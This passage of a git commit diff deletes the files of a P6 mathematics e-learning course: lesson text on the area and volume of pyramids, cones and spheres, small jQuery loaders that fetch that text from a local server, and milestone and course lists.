-     {'filename':'content/Mathematics/map612m12/map612m12a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a05/source.txt b/Save_Mathematics/P6/map612m12/map612m12a05/source.txt
deleted file mode 100644
index ffcadc7..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a05/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will present problems in determining the area and volume of pyramids. If the student's solution is not correct, the computer will show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a06/a.txt b/Save_Mathematics/P6/map612m12/map612m12a06/a.txt
deleted file mode 100644
index b4876d3..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a06/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining the area and volume of pyramids. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a06/description.py b/Save_Mathematics/P6/map612m12/map612m12a06/description.py
deleted file mode 100644
index 5f08396..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a06/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a06/lesson.js
deleted file mode 100644
index 71e71bf..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a06/source.txt b/Save_Mathematics/P6/map612m12/map612m12a06/source.txt
deleted file mode 100644
index b4876d3..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a06/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining the area and volume of pyramids. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a07/a.txt b/Save_Mathematics/P6/map612m12/map612m12a07/a.txt
deleted file mode 100644
index f18805c..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a07/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment
-
-The cone will be introduced as similar to a pyramid but based on a circle instead of a polygon. This activity will compare the properties as the size of the base decreases uniformly to a point. The student will be asked to consider how the volume is affected. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a07/description.py b/Save_Mathematics/P6/map612m12/map612m12a07/description.py
deleted file mode 100644
index 6963278..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a07/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a07/lesson.js
deleted file mode 100644
index 11efbcf..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a07/source.txt b/Save_Mathematics/P6/map612m12/map612m12a07/source.txt
deleted file mode 100644
index f18805c..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a07/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment
-
-The cone will be introduced as similar to a pyramid but based on a circle instead of a polygon. This activity will compare the properties as the size of the base decreases uniformly to a point. The student will be asked to consider how the volume is affected. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a08/a.txt b/Save_Mathematics/P6/map612m12/map612m12a08/a.txt
deleted file mode 100644
index 0a822fd..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a08/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-The student will be introduced to the sphere as a solid form similar to a circle.
-
-Methods will be shown to determine the surface area and volume of a sphere.
diff --git a/Save_Mathematics/P6/map612m12/map612m12a08/description.py b/Save_Mathematics/P6/map612m12/map612m12a08/description.py
deleted file mode 100644
index fadf6fa..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a08/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a08/lesson.js
deleted file mode 100644
index f37c7ac..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a08/source.txt b/Save_Mathematics/P6/map612m12/map612m12a08/source.txt
deleted file mode 100644
index 0a822fd..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a08/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-The student will be introduced to the sphere as a solid form similar to a circle.
-
-Methods will be shown to determine the surface area and volume of a sphere.
diff --git a/Save_Mathematics/P6/map612m12/map612m12a09/a.txt b/Save_Mathematics/P6/map612m12/map612m12a09/a.txt
deleted file mode 100644
index 7acbc33..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a09/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-This activity will offer problems in determining the volume and surface area of spheres. If the wrong solution is given, the computer will show how to derive the correct solution. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a09/description.py b/Save_Mathematics/P6/map612m12/map612m12a09/description.py
deleted file mode 100644
index 900c2b2..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a09/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a09',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a09/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a09/lesson.js
deleted file mode 100644
index 55f500a..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a09/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a09/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a09/source.txt b/Save_Mathematics/P6/map612m12/map612m12a09/source.txt
deleted file mode 100644
index 7acbc33..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a09/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-This activity will offer problems in determining the volume and surface area of spheres. If the wrong solution is given, the computer will show how to derive the correct solution. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a10/a.txt b/Save_Mathematics/P6/map612m12/map612m12a10/a.txt
deleted file mode 100644
index 1122eb4..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a10/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining the area and volume of spheres. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a10/description.py b/Save_Mathematics/P6/map612m12/map612m12a10/description.py
deleted file mode 100644
index 162f01b..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a10/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a10',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a10/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a10/lesson.js
deleted file mode 100644
index 95bd51b..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a10/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a10/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a10/source.txt b/Save_Mathematics/P6/map612m12/map612m12a10/source.txt
deleted file mode 100644
index 1122eb4..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a10/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining the area and volume of spheres. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a11/a.txt b/Save_Mathematics/P6/map612m12/map612m12a11/a.txt
deleted file mode 100644
index 6237ac2..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a11/a.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-Enrichment
-
-This activity will invite the student to consider the Earth as a sphere.
-
-What is the surface area of the Earth? What is the volume?
-
-The student will be asked to consider how we measure our position on the Earth's surface. The concept of latitude and longitude will be introduced.
-
-The student will be asked to determine the distance represented by one minute of latitude or longitude (and that this is not a constant value).
-
-The student will be asked how fast he/she is traveling because of the Earth's rotation. How fast a satellite must move to maintain a staionery position above the Earth.
-
-The GPS system will be introduced as a means of locating objects on the Earth's surface (and in the air above the surface!).
diff --git a/Save_Mathematics/P6/map612m12/map612m12a11/description.py b/Save_Mathematics/P6/map612m12/map612m12a11/description.py
deleted file mode 100644
index 4a92e11..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a11/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a11',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a11/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a11/lesson.js
deleted file mode 100644
index 8bcce9e..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a11/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a11/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a11/source.txt b/Save_Mathematics/P6/map612m12/map612m12a11/source.txt
deleted file mode 100644
index 6237ac2..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a11/source.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-Enrichment
-
-This activity will invite the student to consider the Earth as a sphere.
-
-What is the surface area of the Earth? What is the volume?
-
-The student will be asked to consider how we measure our position on the Earth's surface. The concept of latitude and longitude will be introduced.
-
-The student will be asked to determine the distance represented by one minute of latitude or longitude (and that this is not a constant value).
-
-The student will be asked how fast he/she is traveling because of the Earth's rotation. How fast a satellite must move to maintain a staionery position above the Earth.
-
-The GPS system will be introduced as a means of locating objects on the Earth's surface (and in the air above the surface!).
diff --git a/Save_Mathematics/P6/milestones.js b/Save_Mathematics/P6/milestones.js
deleted file mode 100644
index 24d928f..0000000
--- a/Save_Mathematics/P6/milestones.js
+++ /dev/null
@@ -1,36 +0,0 @@
-var activities = [
-  ['0',1,'map6','milestone','map611m01','cyan'],
-  ['0',2,'map6','milestone','map611m02','cyan'],
-  ['0',3,'map6','milestone','map611m03','cyan'],
-  ['0',4,'map6','milestone','map611m04','cyan'],
-  ['0',5,'map6','milestone','map611m05','cyan'],
-  ['0',6,'map6','milestone','map611m06','cyan'],
-  ['0',7,'map6','milestone','map611m07','cyan'],
-  ['0',8,'map6','milestone','map611m08','cyan'],
-  ['0',9,'map6','milestone','map611m09','cyan'],
-  ['0',10,'map6','milestone','map611m10','cyan'],
-  ['0',11,'map6','milestone','map611m11','cyan'],
-  ['0',12,'map6','milestone','map611m12','cyan'],
-  ['0',13,'map6','milestone','map611m13','cyan'],
-  ['0',14,'map6','milestone','map611m14','cyan'],
-  ['0',15,'map6','milestone','map611m15','cyan'],
-  ['0',16,'map6','milestone','map611m16','cyan'],
-  ['0',17,'map6','milestone','map611m17','cyan'],
-  ['0',18,'map6','milestone','map611m18','cyan'],
-  ['0',19,'map6','milestone','map611m20','cyan'],
-  ['0',20,'map6','milestone','map611m21','cyan'],
-  ['0',21,'map6','milestone','map612m01','cyan'],
-  ['0',22,'map6','milestone','map612m02','cyan'],
-  ['0',23,'map6','milestone','map612m03','cyan'],
-  ['0',24,'map6','milestone','map612m04','cyan'],
-  ['0',25,'map6','milestone','map612m05','cyan'],
-  ['0',26,'map6','milestone','map612m06','cyan'],
-  ['0',27,'map6','milestone','map612m07','cyan'],
-  ['0',28,'map6','milestone','map612m08','cyan'],
-  ['0',29,'map6','milestone','map612m09','cyan'],
-  ['0',30,'map6','milestone','map612m10','cyan'],
-  ['0',31,'map6','milestone','map612m11','cyan'],
-  ['0',32,'map6','milestone','map612m12','cyan'],
-];
-var assetList= [];
-var logos = [];
diff --git a/Save_Mathematics/courses.js b/Save_Mathematics/courses.js
deleted file mode 100644
index 39393bd..0000000
--- a/Save_Mathematics/courses.js
+++ /dev/null
@@ -1,5 +0,0 @@
-var courses = [
-    ['p4','Mathematics','mathematics.png','P4 Mathematics'],
-    ['p5','Mathematics','mathematics.png','P5 Mathematics'],
-    ['p6','Mathematics','mathematics.png','P6 Mathematics'],
-]
diff --git a/version-2.03 b/version-2.03
deleted file mode 100644
index e69de29..0000000
--- a/version-2.03
+++ /dev/null
author	Tony Anderson <tony_anderson@usa.net>	2011-04-25 15:07:12 (GMT)
committer	Tony Anderson <tony_anderson@usa.net>	2011-04-25 15:07:12 (GMT)
commit	4b6a0f85bbd5822a96bbd6ba68bee5c802a45266 (patch)
tree	5caf184d2f92135b5a97c291d75ff245d5e4a31b
parent	262cde7bd933a2e8a108cbd8cdf3029a916007de (diff)